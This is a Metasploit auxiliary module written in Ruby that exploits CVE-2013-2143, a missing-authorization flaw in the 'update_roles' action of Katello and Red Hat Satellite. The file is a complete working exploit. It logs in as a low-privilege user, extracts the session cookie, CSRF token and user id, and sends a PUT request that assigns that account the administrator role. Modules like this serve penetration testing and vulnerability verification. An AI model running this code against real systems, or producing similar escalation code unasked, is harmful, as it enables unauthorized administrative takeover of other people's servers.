##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize
super(
'Name' => 'Katello (Red Hat Satellite) users/update_roles Missing Authorization',
'Description' => %q{
This module exploits a missing authorization vulnerability in the
"update_roles" action of "users" controller of Katello and Red Hat Satellite
(Katello 1.5.0-14 and earlier) by changing the specified account to an
administrator account.
},
'Author' => 'Ramon de C Valle',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-2143'],
['CWE', '862']
],
'DisclosureDate' => 'Mar 24 2014'
)
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('USERNAME', [true, 'Your username']),
OptString.new('PASSWORD', [true, 'Your password']),
OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
], self.class
)
end
def run
print_status("Logging into #{target_url}...")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'user_session', 'new'),
'vars_get' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
)
if res.nil?
print_error('No response from remote host')
return
end
if res.headers['Location'] =~ /user_session\/new$/
print_error('Authentication failed')
return
else
session = $1 if res.get_cookies =~ /_katello_session=(\S*);/
if session.nil?
print_error('Failed to retrieve the current session')
return
end
end
print_status('Retrieving the CSRF token for this session...')
res = send_request_cgi(
'cookie' => "_katello_session=#{session}",
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'dashboard')
)
if res.nil?
print_error('No response from remote host')
return
end
if res.headers['Location'] =~ /user_session\/new$/
print_error('Authentication failed')
return
else
session = $1 if res.get_cookies =~ /_katello_session=(\S*);/
if session.nil?
print_error('Failed to retrieve the current session')
return
end
end
if res.headers['Location'] =~ /user_session\/new$/
print_error('Failed to retrieve the user id')
return
else
csrf_token = $1 if res.body =~ /<meta[ ]+content="(\S*)"[ ]+name="csrf-token"[ ]*\/?>/i
csrf_token = $1 if res.body =~ /<meta[ ]+name="csrf-token"[ ]+content="(\S*)"[ ]*\/?>/i if csrf_token.nil?
if csrf_token.nil?
print_error('Failed to retrieve the CSRF token')
return
end
user = $1 if res.body =~ /\/users.(\d+)#list_search=#{datastore['USERNAME']}/
if user.nil?
print_error('Failed to retrieve the user id')
return
end
end
print_status("Sending update-user request to #{target_url('users', user, 'update_roles')}...")
res = send_request_cgi(
'cookie' => "_katello_session=#{session}",
'headers' => {
'X-CSRF-Token' => csrf_token
},
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, 'users', user, 'update_roles'),
'vars_post' => {
'user[role_ids][]' => '1'
}
)
if res.nil?
print_error('No response from remote host')
return
end
if res.headers['X-Message-Type'] =~ /success$/
print_good('User updated successfully')
else
print_error('Failed to update user')
end
end
def target_url(*args)
(ssl ? 'https' : 'http') +
if rport.to_i == 80 || rport.to_i == 443
"://#{vhost}"
else
"://#{vhost}:#{rport}"
end + normalize_uri(target_uri.path, *args)
end
end
